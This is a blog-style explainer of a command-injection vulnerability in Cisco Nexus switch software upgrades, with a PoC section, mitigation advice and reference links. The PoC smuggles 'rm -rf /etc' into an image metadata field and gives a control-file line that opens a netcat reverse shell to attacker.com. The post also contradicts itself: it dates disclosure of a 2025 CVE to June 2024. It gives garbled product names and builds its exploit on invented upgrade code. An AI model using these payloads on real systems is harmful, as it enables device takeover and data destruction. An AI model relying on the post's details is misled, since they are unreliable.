CVE-2025-20161 - Command Injection in Cisco Nexus Switches

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Introduction

On June 5, 2024, Cisco disclosed CVE-2025-20161, a severe vulnerability affecting Cisco Nexus 300 and 900 Series Switches operating in standalone NX-OS mode. This vulnerability allows an authenticated administrator to execute arbitrary root-level commands on the underlying operating system of affected devices, exploiting a flaw in the software upgrade process.

This post breaks down CVE-2025-20161 in simple terms. We’ll explain what the vulnerability is, how it can be exploited (with code examples), ways to mitigate it, and link to vital references. This explanation is exclusive and made as clear as possible for readers without deep security background.

What’s the Vulnerability?

CVE-2025-20161 is a command injection bug. It happens during a software upgrade, when the switch processes a new NX-OS image file. The device does not properly check all the fields inside the image. If a crafted (malicious) image is uploaded and installed, commands in that image can be run as root — giving full control to whoever exploits it.

Who Can Exploit This?

- You need authenticated admin (privileged EXEC mode) access — i.e., “enable” access on the switch.

Why is this bad?

- The attacker can make permanent changes, exfiltrate data, install backdoors, or destroy device functionality.

Proof of Concept (PoC) – Example Code

NOTE: This is a hypothetical and sanitized example. Real attackers would use actual NX-OS reverse-engineered image files.

Let’s say the upgrade process processes some metadata from a info.txt file embedded inside the image archive. If there’s no validation, and the upgrade process does something like:

# Hypothetical code from the upgrade utility
info = open("/tmp/image/extracted/info.txt").read()
os.system("echo 'Upgrading with info: {}'".format(info))

If info.txt contains:

legitimate version; rm -rf /etc    # malicious command injected after a semicolon

Then the system command becomes

echo 'Upgrading with info: legitimate version; rm -rf /etc'

But if *not properly quoted or validated*, (especially when building more complex shell commands), the rm -rf /etc could execute.

A more realistic exploit might be

- Place a field like PREINST_SCRIPT="touch /mnt/cisco_exploit" inside the image’s control file

- The upgrade process runs

sh -c "${PREINST_SCRIPT}"

Example Malicious Control File (inside crafted image)

PREINST_SCRIPT="touch /mnt/cisco_exploit; nc attacker.com 4444 -e /bin/sh"

This sets up a reverse shell to attacker.com for full remote access.

Remember: The actual exploitation depends on how the upgrade scripts parse files inside the image. The core risk is not sanitizing input fields before passing them to the shell.

Validate Image Hashes:

Always verify the SHA or MD5 hash of any Cisco NX-OS image before installation. You should only use software downloaded from Cisco and check that the hash matches the one published on Cisco’s official download site.

Cisco Advisory:

CVE-2025-20161 – Command Injection Vulnerability in Cisco NX-OS Software

Cisco NX-OS Official Downloads:

https://software.cisco.com/download/home

General Command Injection Resource:

https://owasp.org/www-community/attacks/Command_Injection

Final Thoughts

CVE-2025-20161 is a prime example of why you must never trust input—even inside software “upgrade” archives! Letting administrative users upload software is always dangerous, but not validating all parts of the image magnifies the risk. If you administer Cisco Nexus switches, verify every image, limit admin access, and update your software as soon as possible.

*This post is exclusive and tailored for clear understanding. For any more technical questions, visit the official Cisco advisory linked above or consult with your Cisco partner.*

Timeline

Published on: 02/26/2025 17:15:23 UTC